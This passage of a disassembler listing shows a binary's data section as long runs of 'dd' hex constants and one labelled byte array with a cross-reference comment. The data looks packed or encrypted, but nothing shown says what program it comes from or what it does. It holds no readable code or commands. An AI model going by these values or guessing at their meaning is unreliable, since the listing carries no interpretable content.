		dd 4FFA9460h, 0F49A2ABCh, 19F8400Dh, 16EB274Dh,	0E8027262h
		dd 0C00F7891h, 0C0C4FEDCh, 0A0867E4h, 0AB457480h, 0EC301CC0h
		dd 0D08B2DE9h, 1DB080C4h, 0E6512625h, 0D0FBB562h, 0FCA3E9C2h
		dd 0A8491471h, 27DB1C04h, 5C4EF34h, 82B0B2AAh, 0A0CBADE9h
		dd 880514D1h, 0C2892722h, 0BB8A1590h, 53F0C082h, 95DF73B7h
		dd 0CC3C887Ch, 0F26A20A2h, 0ADC6BF8Bh, 94ED9B7h, 9A5FE3E5h
		dd 0C9D2D35Ch, 905696F7h, 688B9D57h, 0B6D4B6DDh, 7A9521Eh
		dd 0E05FF8EAh, 80D7303Eh, 1577C8BFh, 22D3D7Ah, 249F4411h
		dd 583EF2F8h, 1D05CEEBh, 0C2E9168Ch, 0B1579393h, 0E824E036h
		dd 0E85F05B9h, 6055C8F2h, 9CBEE983h, 0E0C9459Ch, 80610F33h
		dd 0B9045155h, 20DC3C68h, 85CC4BFh, 3112DD9Ch, 90EA65EAh
		dd 3AB1E62Eh, 0E92AE009h, 722D2A9h, 0D4739EE3h,	0FD39B247h
		dd 65EFBDF4h, 98AE0DDCh, 941BB89h, 0EC2A14E1h, 46E9F061h
		dd 49A2B7E8h, 0FCC0D14Eh, 0D81731F6h, 4F84F5C4h, 93DFF4AEh
		dd 62E71400h, 534CE181h, 0ED757FB3h, 1D1C093h, 0ADCB579Bh
		dd 0DC4F21F8h, 5197C3A5h, 9A84081Eh, 6614C117h,	35BE0366h
		dd 123127F0h, 0FAD4C82Eh, 22D6DA29h, 90FE4E2Bh,	3080F384h
		dd 12D92105h, 9E95BDC6h, 0A5C04853h, 980CCFEh, 0E32839F4h
		dd 99597E02h, 505B5A21h, 0E2EED60h, 0C6FED6F6h,	0EED0DE83h
		dd 80103Ah, 5AF0880Bh, 0FB0C2004h, 25E9D8F0h, 2E72A0AAh
		dd 5EC21B59h, 0BF1048A6h, 4C04C79h, 2606189Dh, 0D90355FDh
		dd 294C0D1Bh, 4452AF7Ch, 425E270Ch, 7E1C092Ah, 7C647A02h
		dd 0D403FB2Dh, 0FE4629Eh, 0CB08E50Ah, 8B0912D5h, 0EB024AF8h
		dd 5C7AE943h, 0FC880EBFh, 971066E9h, 157812C7h,	0BB4C3864h
		dd 3F76BD0Bh, 71AA3197h, 244D58D7h, 0C290F7EAh,	0D92D0794h
		dd 2CC649B0h, 0AA5EE915h, 69543D97h, 45197114h,	0D26DFC50h
		dd 5DDF720Ch, 9C5B97E7h, 42EFEF13h, 0A75CE997h,	0F1733DFEh
		dd 0E7B46DBDh, 9693FEC2h, 0A5902E59h, 825669D9h, 8156D76Fh
		dd 28E8EF13h, 5E00DE8Bh, 43307A82h, 2C41B6DEh, 0FE011B11h
		dd 842EEE1h, 3C9A7C5Fh,	0C37DD2B2h, 507B6855h, 486300B8h
		dd 0A20D7382h, 2818FB4Eh, 0E904D0F7h, 0A3615AFDh, 1D8D9FD3h
		dd 9461B3BCh, 96A843E0h, 0C3808791h, 0ABF334E6h, 4AF0782h
		dd 16D6A846h, 0BC06CE81h, 4BA77DAh, 0F6F7FD3Ah,	0B421EB2Dh
		dd 9A22D940h, 0FAF0412h, 0FC85DDFDh, 535DBF74h,	828532DAh
		dd 0B5D94B3h, 8303255Ch, 8C4E01EEh, 0C0051BADh,	82D77E87h
		dd 9C5DAC90h, 6044FCF5h
		dd 83AD1C91h, 0C0A0207Fh, 5E81F357h, 6D901F2Bh,	11AA05Ch
		dd 9EEAF66Ah, 0C157F17Ah, 744170ACh, 6795598h, 0B1A20FEh
		dd 0F126D5Bh, 4B35A281h, 31B1C80Fh, 0F9B00B67h,	0CF0BC829h
		dd 765280DEh, 5F688013h, 59617B22h, 50C98198h, 5708707h
		dd 281D923h, 79A6CE85h,	64075ECh, 202D5133h, 0B1BD612Fh
		dd 0B02B9D70h, 29C64088h, 0E25FFA25h, 5687F98h,	405130Bh
		dd 0B056E97Eh, 70AC2194h, 37FF610h, 2F05C0B9h, 85CFD16Fh
		dd 5F6E542Fh, 4B14083Eh, 2C0FBD67h, 7C399E5Ah, 2485ED7Ah
		dd 3D06573Dh, 0C62122FDh, 0E7835558h, 97F22320h, 0ED0E40FAh
		dd 47CD8102h, 0DCEEF527h, 0A86519C3h, 0C7FFE714h, 7C69F97Bh
		dd 0EB5B1744h, 0D88FD146h, 0DCFE6493h, 51F492F1h, 598C3E1h
		dd 23A0C7FBh, 0D7A858E1h, 0C900FE5Ah, 0EF80CF86h, 0B8F82815h
		dd 46B32458h, 6691026Ah, 8B83D168h, 6132ACDBh, 75960EF0h
		dd 0C176245h, 5DBD6C80h, 40C52529h, 0B00BBFE2h,	0CB8C90DFh
		dd 693C182Fh, 0BE2B182Ch, 15E3EECh, 0B49382BDh,	8192D7C2h
		dd 0D9B79B9Fh, 17988AE0h, 0C3BEFEF1h, 88C1408Ah, 0B4EBE4C5h
		dd 687888EEh, 7FD58252h, 4CDBD1B4h, 0AB58CA79h,	20068130h
		dd 0F07B7D18h, 95146B1Dh, 4AC0210Fh, 0EB02CAC5h, 0E01E5C38h
		dd 0B4837CDDh, 4E2A8AD5h, 84F120FCh, 4FE577A0h,	0AFCD1641h
		dd 73833874h, 85FEBB10h, 7A65DD05h, 0B9A0A1FCh,	412543CCh
		dd 845D66Ah, 0A8200659h, 4ABD8DBEh, 0B3F4BBAh, 8634AAF7h
		dd 65BBDE13h, 6860BF53h, 2FE33F69h, 2A705B59h, 0C735820Bh
		dd 0F70B8052h, 7584729Eh, 9BF29F14h, 50429112h,	0F5E1EBD0h
		dd 749F3F1Eh, 578AC982h, 0DB4201A8h, 0A027DDEh,	402D8D62h
		dd 2730BB88h, 9E581D6Fh, 3C26A47Bh, 540C704h, 16BB4054h
		dd 87BAE97Dh, 67DD0598h, 0E076D285h, 4014947Dh,	0D297DDEDh
		dd 0A3F9449h, 52A649BBh, 2533ECFDh, 0F2105DEFh,	53809CEDh
		dd 68550057h, 202D3458h, 0B1B5895Dh, 162B579Eh,	0F344AA4Bh
		dd 6FE8B9E9h, 0DDF74D09h, 4BD3C055h, 4D137F9Bh,	681EF761h
		dd 2833095Ch, 47E16DDh,	1D724DE3h, 7720EA0Dh, 28BD9788h
		dd 2FFC89ABh, 27965545h, 0A9F95E5Ah, 850FC083h,	1FFFFC95h
		dd 228B95BAh, 0E8055510h, 45C7004Ah, 483F6152h,	6AE28AA0h
		dd 7C441A2Ch, 0B2FD413Fh, 0C797C1F3h, 3F908206h, 0C859CD27h
		dd 82F5C85Dh, 0F10135F0h, 18801068h, 0A06CCA01h, 572BE9C5h
		dd 9D2B8BBh, 0C815620Eh, 13D7C293h, 0B9118EE6h,	0DDCB2A37h
		dd 4D6CB907h, 0CED55525h, 4304C2E8h, 0E734705h,	4EBC95E9h
		dd 0AAE431ECh, 0B90DBBE7h, 819C7B1Fh, 0DA10D9B0h, 8240414Dh
		dd 0C1E65125h, 64DBED92h, 8677E257h, 0B1445F2h,	0C9D78302h
		dd 0F9E53FD0h, 0DC5428ECh, 0D2826DAEh, 407BDC5Ah, 80FF9BE8h
		dd 6E13A6BDh, 0F95F29B0h, 334FD656h, 74D84B66h,	16DE08BDh
		dd 4913CB00h, 0A85BE3E9h, 0F25568C6h, 440B4F8Ch, 18634D1Ah
		dd 4FC17F9Ah, 4ACAA674h, 5C01EBDBh, 0F1E9C209h,	0E4E66B7Eh
		dd 0E13D5426h, 3EAEFBE9h, 0BD642935h, 7B5B98EAh, 28CB0916h
		dd 700C2A1h, 4B0D685Fh,	0D642CC3Bh, 78C93912h, 0ECF325FEh
		dd 0D14A7296h, 6CBFB517h, 864ADD83h, 49D049ABh,	908D378Ch
		dd 25300217h, 212E78ACh, 0CA772437h, 576C3A7Ch,	29B7853Ch
		dd 2B86223Dh, 0E5CDFF5Fh, 2595A12Ch, 559029Ah, 60156706h
		dd 80C5FDF7h, 5B0FFE88h, 65536650h, 0F988B9E1h,	41774FE6h
		dd 9748ABE1h, 0AD8D7F74h, 0AC7FC520h, 7B026B93h, 22BF74D0h
		dd 1558E06h, 6B433668h,	0E917328Ah, 6ED1F15Ah, 0FF7D9AA7h
		dd 1498B32Eh, 95FFE34Ah, 4F90132Ah, 8F4266A7h, 58565E0Eh
		dd 154C6862h, 1A811BD1h, 520FB037h, 4ACD7C90h, 0F66FD1B1h
		dd 47FD4FAAh, 184B52C4h, 9701CE38h, 69E62818h, 1491EA88h
		dd 0B326975Bh, 4E786ED5h, 0A580164Fh, 70AD40D4h, 524F5E01h
		dd 46D1ADB9h, 46A5B1h, 0B57BE268h, 3D00A846h, 9051E79h
		dd 692AE9D0h, 20DB28B1h, 0BB535680h, 2834584h, 0BA80BE58h
		dd 0A250A77Ch, 0CF13A0D6h, 0F72721E3h, 6482A1FEh, 0E2019A65h
		dd 97EA45E4h, 0ACD817E9h, 0FE56E2A3h, 37FC082h,	35041DF3h
		dd 1ABB09D8h, 4BC3F2ABh, 544C8981h, 10D56602h, 0BD462607h
		dd 0AC276C46h, 60881203h, 26439A4Dh, 2946FB7h, 65F74E45h
		dd 0C70BFFD2h, 0A9A2AB23h, 256E76FEh, 0EE6E3855h, 0FDC388B3h
		dd 7BEB6838h, 6C04D15Bh, 0C7AA16B6h, 8A95A287h,	0D2905B7Bh
		dd 245D084h, 0D562C480h, 0C8283983h, 0E459BD2Ch, 0EF97FE16h
		dd 7F5E9270h, 0E80CC740h, 0B342973Ch, 0E23D0779h, 0C6DC9757h
		dd 497D70CBh, 23484329h, 5301C01Eh, 5033808Ch, 801C2CB4h
		dd 0ECC088F4h, 0E9E62045h, 0D3F14F9Eh, 0E7DC7B94h, 0C055242Fh
		dd 0B873362h, 1F265C59h, 98285005h, 1FCE31C0h, 0EC059077h
		dd 689212E6h, 639C118h,	86B02B1Bh, 0C03BDA2h, 0CFB9D2B2h
		dd 15D53B67h, 920416ACh, 0C1119A64h, 0A59D6141h, 0EB998471h
		dd 0D8A681B8h, 0B3539401h, 13C3801Dh, 78DB23Bh,	5B0EBA66h
		dd 0C0DAF742h, 5858C254h, 0DC4C615Fh, 0C401527Ch, 6CD4E909h
		dd 0AFDD8B4Ah, 4CE26429h, 0BFA2CCBEh, 0D69C20Fh, 0A11CCD15h
		dd 3D293120h, 6181EB9h,	70A0157Bh, 2DB397h, 0CE1DD55Ah
		dd 0F3AAE956h, 44BFA983h, 61E89374h, 2C0D645Dh,	0C7FA6096h
		dd 63322F16h, 0E175E209h, 4088B7CAh, 0BD0153BAh, 3A911F8Ch
		dd 57D41F2Eh, 0E7356E4h, 1F13055Eh, 0C07A6CCh, 8575BC56h
		dd 9CCBF88h, 571F5547h,	402D2D4h, 0FD010D9Dh, 5216396Bh
		dd 79174F7h, 10A44767h,	42A30006h, 32E90B1Ah, 32ACDC5Ah
		dd 2C3D5C4h, 666D8068h,	20D19895h, 2D077FC1h, 35580E27h
		dd 0B325FC50h, 0F4295870h, 5E892427h, 586BD471h, 373B1D6Bh
		dd 1D5F13F0h, 0D8274464h, 0CC13FA39h, 0A6656F8h, 4409D443h
		dd 5862ECB5h, 5A88951Bh, 7D7E2D8Eh, 0A66AE989h,	0A05ED3CCh
		dd 9443F5DBh, 2045A615h, 8848209Ah, 937C20E9h, 14405717h
		dd 12A1E300h, 2FE90AFEh, 0FC6DD10h, 0BCAEB13Dh,	0C95283h
		dd 208B2D12h, 1269F281h, 5D1D3Dh, 516BDD4Dh, 12FE94Ah
		dd 0BA189071h, 0CE721867h, 0A743266Dh, 0E912D1FEh, 0CABA541Fh
		dd 0DBB9C420h, 0F1D359ECh, 0BEB26BE6h, 1F9AA85h, 6A15D653h
		dd 0C6603030h, 0C2FE93BFh, 40BB5E9Ch, 28D284B4h, 6A622D04h
		dd 6282261Fh, 84078B05h, 5A03533Bh, 5EC3AF2Ch, 2532BEFDh
		dd 272C164h, 9F433BF4h,	9B097D45h, 0EF65574Ah, 44E441E5h
		dd 7F6C1736h, 61AB17CEh, 3F6560EEh, 7C10DD90h, 0F83976A4h
		dd 0FA835434h, 558FA0D1h, 327A165Ch, 3C21EA31h,	8E2F0A15h
		dd 2DD84DEFh, 0D56AC085h, 209BAC42h, 0F63F5B6Ah, 0B90CB4DFh
		dd 21EE7984h, 23C852F9h, 0D821137Bh, 3E89808h, 58FB866h
		dd 7845F8A5h, 3A7FE1EDh, 972BEF05h, 588107ACh, 0DD53202Dh
		dd 0B163E8Ch, 0DD44450Bh, 0B7C2DE3Ah, 5E44ABF7h, 0F6AF1517h
		dd 0A8853358h, 0BECFAE8Ch, 0A97C4516h, 2CAAD30Fh, 7BE1E972h
		dd 7CF6A240h, 371DB0Eh,	1C7B951h, 885B175Ch, 90C9AFC8h
		dd 244C29ABh, 7E2E02E5h, 0DB5A5ABFh, 0FF92F80Fh, 0C643A563h
		dd 0C0CF56A8h, 2D544860h, 0C202500Fh, 147C050Eh, 7ADAE03Ah
		dd 3F199D1h, 7228079Bh,	0AE0EDCAh, 13304CC3h, 56C8BE19h
		dd 0E9201368h, 0BAB180E7h, 862D3B59h, 0E6BDD263h, 0A61C1838h
		dd 7550C4Eh, 0FE85D225h
		dd 0C50E403Ch, 89186BCCh, 0A3C65EF1h, 74C23452h, 150AC10Ch
		dd 282FED49h, 9ADC4E40h, 68511356h, 52750258h, 87A04959h
		dd 0C497ACF1h, 55CDAD48h, 9FCE3E32h, 8041E90Bh,	3A3F5011h
		dd 0C976E8CCh, 32565C69h, 0FDB39EC2h, 9A023F92h, 667D061Bh
		dd 0B2C82D65h, 5C6BCFD6h, 0B3804902h, 793868E1h, 0B1044FC4h
		dd 899F04A3h, 7C849CAh,	72F006D1h, 0C4F38F9Fh, 72EF600Dh
		dd 427D0164h, 5A307C02h, 0E6A7045Dh, 0E94A81BEh, 11126AACh
		dd 13618BBAh, 2BFBF9F7h, 4AF8486Ch, 0F36B4C39h,	0A1A45EB9h
		dd 0B805F9BCh, 6A68834Eh, 6CEF1063h, 6B414C56h,	17037976h
		dd 0EA7E85D2h, 5C09F19Eh, 0C902C138h, 7EF26E39h, 0AF34836Ch
		dd 91304E5Ch, 5409780h,	0EF2F12EFh, 70712E01h, 6E9386h
		dd 527B051Bh, 0D4EA0DA0h, 35324E1Eh, 88625BE6h,	0BF9A5FD3h
		dd 0E3B42140h, 5C0290B9h, 0C05FD35Dh, 27520102h, 5154461Ah
		dd 76B7C169h, 0AE22102Eh, 0D3780BE2h, 0D449E893h, 0F9545A9Fh
		dd 0F00879A4h, 602D1444h, 6B041751h, 7E877300h,	0BD2D6D78h
		dd 1AD309DAh, 0E2C47DA2h, 0C6B8018Dh, 0A230CA6Fh, 0C05A1D9Bh
		dd 0B295320h, 1A5738FCh, 0F627A2BDh, 0BD8AC1E1h, 2B289D3Eh
		dd 0A45A2AF9h, 79954C63h, 3EC7ACF7h, 0DC17E941h, 0ACB1B9FAh
		dd 0B54D8903h, 540C3C4Ah, 0ACB89796h, 0E7D1049Fh, 0F3BE0B68h
		dd 3B400036h, 0C9E9F7E5h, 0A7F896CCh, 0EAC76E5Ch, 0B5D0D7F4h
		dd 9B6C3168h, 0B05A1209h, 16BD5D62h, 9A5052AAh,	9F6CBBD3h
		dd 0F07233E9h, 9AB34750h, 0E33277F6h, 2B032127h, 0B3A6451h
		dd 0DC40A57Bh, 53350781h, 90158574h, 3DA96878h,	8662B99Ch
		dd 0A8997DFCh, 0F6DECA75h, 97DB62h, 0EC28F1BDh,	5360F4Ch
		dd 4C7D5512h, 1C07682h,	0DD588ABEh, 0E3E4EB3Fh,	0D9247824h
		dd 74ADB7E2h, 154110Ah,	0D4080AB2h, 5CCFF65Ah, 0F1D9018h
		dd 0E8C5C9C8h, 0CF626BDCh, 59BF003Eh, 8AC1D76Ah, 3773CDC7h
		dd 19DFEF6h, 0CBE9DE31h, 502A82A3h, 5F90B353h, 4A22AC7Ah
		dd 0B9A4F88h, 3A475CE8h, 194400A6h, 0F25A15BCh,	2ABBD208h
		dd 9B927A0h, 693079B2h,	82D50790h, 1EE8B880h, 8C5EF846h
		dd 0B914A133h, 56679909h, 1998037h, 0BE18141h, 2BCA643Fh
		dd 5BD68301h, 6FA9D36Ch, 0FEBA00B6h, 403D3F4Ch,	81B08398h
		dd 521AB1C1h, 578C3B60h, 0BDD844Ah, 52D85CB5h, 0F498C704h
		dd 9D07D4h, 0C1EFD1B5h,	440869E7h, 67F57D82h, 0FF49C2DFh
		dd 2806C12Bh, 0C55B53EDh, 0BC5E01B4h, 585A8B1Fh, 374091EAh
		dd 0D827383Ch, 0D8C3D839h, 91EA5E06h, 45AF4B07h, 77CB87E9h
		dd 9BDBFF3Bh, 29F4CDE5h, 8F061199h, 2B19BD19h, 5CBF9B0Ch
		dd 8384CC2Dh, 2BC2CFAh,	5AAA6818h, 82BC5D39h, 9C5E155h
		dd 5BA20D2Bh, 6850E847h, 0B365FE02h, 5C40584Ch,	96B4092Fh
		dd 0A24E1BD7h, 0A0B9D514h, 9758B01h, 1D105F47h,	2980C979h
		dd 4659B5CFh, 7522D56Bh, 5DC2F729h, 0D809D648h,	2F9C2051h
		dd 63E32E01h, 97404FA4h, 753D1D01h, 13284A6Fh, 7A2CFF42h
		dd 2C02583h, 6698D065h,	0BEB5E90Bh, 0A5762D2Bh,	59C622C9h
		dd 0F6677558h, 91B5B6Bh, 0AF9DD60h, 99D749h, 89EF053Ch
		dd 0A2D02151h, 56503615h, 2D80DAEBh, 0B6411493h, 0E0059118h
		dd 0BA148C1Eh, 61354180h, 9446730Dh, 0F3290AEAh, 0CFAB43C0h
		dd 10406B48h, 48056C0Ch, 0BFABF57h, 0B2D87FA4h,	6FEF44FEh
		dd 530174B3h, 562D77BBh, 0B9A02F22h, 1FE92506h,	966C681h
		dd 46807ACEh, 613FF681h, 8BE60A44h, 0D6F7FC25h,	2FC610CEh
		dd 192DA39Ch, 0F001E121h, 0EB205FDh, 0D609814Eh, 824715A7h
		dd 2AD5BF00h, 2DBE01F4h, 0FE5F0BECh, 0F5F981DDh, 0AC08353Ah
		dd 91FEB284h, 5D131AB9h, 5484AC0Ah, 0F31FF745h,	98806D93h
		dd 0B3174868h, 0CCA03B25h, 0E3D14312h, 3978D4A8h, 175B6169h
		dd 5F0B988h, 5D55796Eh,	4C7701FEh, 3A5A9A40h, 148C3E98h
		dd 920D6D3Ch, 4B40A106h, 360C8E09h, 0D2AC2CBFh,	0A01BD5Eh
		dd 294CC0E9h, 2058250Dh, 0F536A110h, 973B9C69h,	46DAF02Dh
		dd 0D1836BBDh, 0FA487863h, 33DE9505h, 5830FC25h, 0C99F6857h
		dd 38615FC8h, 200727A8h, 0F99DA81Eh, 80F627FEh,	5C180271h
		dd 55EB801Ch, 0CE2B3FEh, 106D87C0h, 4F57E9D4h, 85EBBDC9h
		dd 950BD501h, 2D8DE6EDh, 6596990Ch, 6CA2679Ah, 89BEE6F0h
		dd 1829DCC0h, 75E92465h, 89509D2Ch, 0AB989DE8h,	724F3D68h
		dd 0F38326BDh, 58176A05h, 74D1976Ch, 858C6EB0h,	918658C5h
		dd 3C210D04h, 0A0C1D5F7h, 8105665Fh, 3B9E99DAh,	0A5A52739h
		dd 68B59594h, 0B7737500h, 7FA59353h, 0B5C2B31Ch, 5CF8F1E9h
		dd 195E82BBh, 0E0756A66h, 0B8EFBDh, 1D4CC32h, 0B9B3E9FDh
		dd 21C44CBFh, 0E9893698h, 0B88020C1h, 4D705F7Ch, 3D10FB14h
		dd 7BC258A4h, 53322700h, 6924E0B9h, 0F2014FB3h,	1DE9C42Bh
		dd 5C5CB0h, 0FE39B151h,	80D9F6C9h, 304CF101h, 6198E9CEh
		dd 1782E63Ah, 9EE69987h, 2D080211h, 44535434h, 7BCAEA5Eh
		dd 0ECD75485h, 411AE81Dh, 3A08D4CCh, 5812FBEh, 7C9817CAh
		dd 0A27F0F61h, 0A2C21810h, 18F0EA5Dh, 0C787B65h, 0B42505B3h
		dd 12BE52F2h, 0EE3158C1h, 4A381392h, 10615DCAh,	0BFC05869h
		dd 52FD4A65h, 0F72877C1h, 0D158E13Fh, 0FD046B0Dh, 416BE76h
		dd 41EA1F80h, 685645C2h, 7F24D30h, 12E30874h, 0E41ECD83h
		dd 0F7272655h, 59E7A78h, 670DF3D0h, 0AE1C9009h,	2B2CFD7Eh
		dd 0F625FBE9h, 858272E8h, 50A397Bh, 1A476002h, 7F017D08h
		dd 2E016211h, 0F7F0610Bh, 0D695AB14h, 770A807Ah, 0DFF773F6h
		dd 3D3BB8B9h, 9881804h,	510C849Eh, 0C7D8A89Ah, 1EAF0A34h
		dd 20B0FA01h, 140CD008h, 0B461AC5Bh, 0B4D614B6h, 340FE16h
		dd 0E4FD26E9h, 59CA8995h, 0A2C3C477h, 0C439F2ACh, 0F9B7E984h
		dd 2FC74B2Eh, 59E46E71h, 0CDD2F22Ch, 32AC2FBBh,	938DAC4h
		dd 65ED85ADh, 0C10362E3h, 0AFD23E1h, 6A78D7F1h,	0BF72E228h
		dd 0D3EBC7E8h, 0A8982873h, 6ABF61EBh, 3D2498B4h, 0BFCB6187h
		dd 31685C68h, 4C557C7Dh, 0EFF107F9h, 0A07A315Dh, 0EEFAD297h
		dd 0AFDDE4ABh, 3F629121h, 68152F0h, 0AF256CF3h,	0A0B0C51h
		dd 2A03411Ah, 0D4CBB387h, 375E5A34h, 0E86D09B8h, 0D4FF1041h
		dd 0E2D180B9h, 142C574Ah, 0A181F9Eh, 0E953C45Ah, 5525B019h
		dd 40A2E692h, 0D6D06F6h, 6754A330h, 74C5E760h, 0B675D1F9h
		dd 0CAF2F817h, 3D812496h, 1EF1927h, 0E9EC703Eh,	9E9D445Eh
		db 0B6h
byte_4E0049	db 20h,	6Bh, 53h	; DATA XREF: ___:0042CC94o
		dd 19B5511Eh, 57C29709h, 0C65D531Ah, 0AAC72037h, 4B9F6816h
		dd 2FEB29ABh, 0AB93D2B3h, 3977132Dh, 961E74Fh, 65D1DBE9h
		dd 0FD581381h, 5FE9B73Fh, 68DF4C42h, 80377F28h,	4BE03135h
		dd 770F1175h, 0E425546Bh, 0F5D44183h, 6FE339BAh, 0E90948CFh
		dd 0EE5FA010h, 5CE22571h, 817814D7h, 90583DCh, 7671AFAAh
		dd 0DE372F09h, 0BE5CBF9h, 5BE8403Ch, 0CDAAB65Fh, 9E2C7DCEh
		dd 480CC950h, 924A86CDh, 0D85FEB2Dh, 740CC5FAh,	5DAFC17Bh
		dd 0C2DD7B53h, 93438D7Bh, 5887395Ch, 6055010Ah,	6206CF7h
		dd 8F98730h, 0F0217448h, 7793409Eh, 1318CA63h, 8408189Dh
		dd 5FD71846h, 80731D80h, 4D806D05h, 1708C684h, 79311857h
		dd 887508DCh, 717C188Ch, 0B2630908h, 10D16018h,	10970A08h
		dd 3A10A4E9h, 0CC2C1083h, 3845D618h, 8C4698Bh, 0F2042ADEh
		dd 625B0458h, 306D7906h, 204DBF20h, 3B201B08h, 9FF3395h
		dd 2818CB19h, 0D0087BC9h, 3834809Bh, 0E11E20CCh, 108563FAh
		dd 8105C0Ah, 0C9108A42h, 91C4109Dh, 3051F418h, 13803CF0h
		dd 0EB7B8087h, 152218C4h, 8F99980Ch, 40C78D40h,	8CE9FB77h
		dd 8D5BE28h, 18476383h,	82A1A49h, 0FD2AD0BCh, 9040BC79h
		dd 84F63AAh, 28181845h,	96084003h, 51848197h, 0A8D60C94h
		dd 8C6C528h, 4011C6C5h,	31C441D4h, 790475DBh, 0CD9006E7h
		dd 12C1C409h, 1923047Ch, 88C08E0Ah, 780C4F94h, 40D3084Bh
		dd 2E66910Dh, 204854F9h, 0CF312DCBh, 7D18106Eh,	182CE01h
		dd 540229B3h, 8EC080A3h, 0B7D31818h, 80ED3908h,	20C60F05h
		dd 2008984Bh, 0D02049ECh, 1C3A201Eh, 30A0BE31h,	0F6012462h
		dd 0F86999A1h, 0E4515A08h, 1095B0CDh, 9F12C016h, 6C604875h
		dd 850EE0Ch, 30436393h,	8108BE7h, 0F7187B6Fh, 469920F4h
		dd 8C240C81h, 2080924Dh, 2832338Fh, 480C10BBh, 80BFF9ACh
		dd 0FCAA6334h, 4617E425h, 5159B0DCh, 0C4BC5E40h, 1368D319h
		dd 7A18C318h, 1FA1C8BDh, 15844408h, 602490DEh, 71239800h
		dd 18CC30B2h, 63EC995Fh, 6B4A0850h, 40AF2010h, 10D2BE19h
		dd 257024C3h, 62726F40h, 6D2B109Ch, 24BB502h, 0A84AE296h
		dd 55AAFC23h, 0E1150831h, 8BD9AB7h, 407DA4C9h, 2B40B353h
		dd 202C9242h, 0DB20227Ch, 0E06E3260h, 0BCA37138h, 1010F0DDh
		dd 0A31088CEh, 0AA1D18A6h, 807B7E08h, 20C481D8h, 0D01D8926h
		dd 0FD5A1BFBh, 2420EE91h, 9068512Eh, 29F73193h,	0DB01D11Ah
		dd 0A30895E9h, 9C6004B4h, 0A4C9E8FCh, 0D55CB02Eh, 8B1E4963h
		dd 0ED23C7C7h, 3B100046h, 2752C47h, 896313EBh, 7AA7B90Eh
		dd 105003Dh, 49408F44h,	7516C90Bh, 251C8BF7h, 3DE097Ah
		dd 1E6855F0h, 0FF0C033h, 304FB118h, 7204AC2Ch, 0F8D75A42h
		dd 360A1828h, 9BD552Eh,	28AB3C99h, 48B7027Dh, 0B3530197h
		dd 0BEF5E074h, 42F9DC95h, 688010A0h, 3D0327C2h,	460C2560h
		dd 4F317F02h, 0CC27A5E9h, 9AB20B1Fh, 72520830h,	2E444805h
		dd 149F5962h, 0E90C072Dh, 0E537CAF3h, 2BF3075Bh, 259A6A3Fh
		dd 0CC5F14CCh, 3F18973Ah, 0C5BE4E9h, 6AE89441h,	0C2EC7FC3h
		dd 9F59CE67h, 0E42D34B7h, 156BC981h, 0FC05169Ah, 3133C943h
		dd 9FDB965Dh, 13875104h, 0E9F1F4F9h, 6816D345h,	37C6E8C1h
		dd 0E1585F64h, 516809Ch, 0F30DB635h, 0FC42BD27h, 3F3A1280h
		dd 5AB71DFBh, 408839Ch,	5D76091Ch, 681DE025h, 19235F27h
		dd 0F1475E84h, 53EF7231h, 17A65770h, 0EEAC108Dh, 12EE5575h
		dd 0AB77D844h, 64314B5Fh, 0B33E82BCh, 375018DCh, 0F04B68D2h
		dd 5DAD2D9Fh, 65CFD8E3h, 0B455E6Dh, 0FBE41BB0h,	5A60C69Eh
		dd 69C5E992h, 8A7C20ADh, 39585D82h, 6455F6Fh, 0DDEB7989h
		dd 52C17313h, 511089E3h, 0ACBF80B9h, 0EC9813Fh,	23014AD3h
		dd 0C277E1C4h, 0F2783038h, 9FE80B4Ah, 38B868C2h, 94BA4FA0h
		dd 6195E54Eh, 0E4AD11B9h, 5720E27Ah, 0C7F94FEh,	0BD381890h
		dd 8375553Fh, 5DE8092Dh, 4F3A3452h, 7481BFD3h, 393A86F0h
		dd 6BB7F938h, 57581503h, 269FC154h, 0C6F6ED2Ah,	500AD796h
		dd 4A290ABAh, 2A8944D0h, 3C66F981h, 58382F69h, 36719589h
		dd 0F6C68860h, 387A95D6h, 0E927040Fh, 95263AE7h, 0C4AA0C65h
		dd 2301E75Bh, 0F7737048h, 0F9F851D7h, 1D98A329h, 0AF150AF2h
		dd 597122F4h, 836B116Fh, 640984h, 0BB60CA68h, 525B275Ch
		dd 0FDC3B4DEh, 0C77D3813h, 0D00D558Bh, 0A439757Eh, 7DCB69EBh
		dd 1FEE0323h, 35AC865Ah, 60F1C72Dh, 7B73FFA2h, 4BC0C99h
		dd 2C091BC3h, 0C5BFC8F4h, 5FA8843h, 280FC20Ah, 91092DD1h
		dd 21701971h, 51AFE95Bh, 60C7EA04h, 0A60A820h, 0B35C9509h
		dd 1FC23200h, 4C83E926h, 6CB6430Fh, 1041BB0Ah, 0F939A9DBh
		dd 79BF1ACBh, 8BFD05E7h, 0C46DE63Ch, 0AF948DE9h, 5FB02AAAh
		dd 52B026B8h, 7C3A1C68h, 0E95A86C8h, 518D4BDh, 0ED0C8005h
		dd 0D810BA2Eh, 5F5C5A07h, 6BDE73EFh, 4A63707Eh,	0B7FE5A3Bh
		dd 64EF9795h, 4F529182h, 753AB747h, 3EE1D883h, 20AEA6Dh
		dd 0EB454172h, 690CE8D3h, 5E6889B1h, 4095EDFCh,	4E18F093h
		dd 90AE337Bh, 0C9F0744h, 0E5463E9h, 0A93E6116h,	0C65B3807h
		dd 18984A82h, 8E5EF221h, 5A277756h, 97FF7052h, 0C59FAB0Fh
		dd 0E5DBC55Dh, 0BE352A6Eh, 0C3CDD8EBh, 0CC5F1609h, 9F3FC4Ch
		dd 83A07E0Ch, 0E7282CC7h, 78EBEFEAh, 0FE30C41Bh, 77B35994h
		dd 0F62AAD2h, 70FAC0B4h, 4EB58098h, 97EE283Ch, 85ED112Ch
		dd 0CD83818h, 6FFAD588h, 3033E292h, 0D4F81EEBh,	4E01FE17h
		dd 640A0588h, 8415E62h,	0B58CC41h, 0FBAD5207h, 0BB6049DEh
		dd 8410E6h, 53EB8175h, 506087DEh, 12A16804h, 82F23637h
		dd 751A0BC1h, 0A6BAC452h, 63431516h, 0C181B1C0h, 0F62018FAh
		dd 678D0C13h, 0FC6BC43Fh, 88316B8h, 0A51953A9h,	0C4A67D94h
		dd 9571FBB0h, 0F7F7E0BFh, 0CAC095D0h, 0C3307532h, 0F34D5456h
		dd 25FEC53Eh, 3299CD97h, 0F2387CC5h, 0B7724877h, 5A88D4D4h
		dd 3C741FC3h, 0DE01CB48h, 259D96DFh, 50E657BAh,	8031AC24h
		dd 54A77497h, 7EFC207Fh, 2FA6B800h, 556811EDh, 6004B42Ah
		dd 58B962B3h, 5F5CD2C1h, 0BC40126Bh, 1AA32B25h,	9ACB2934h
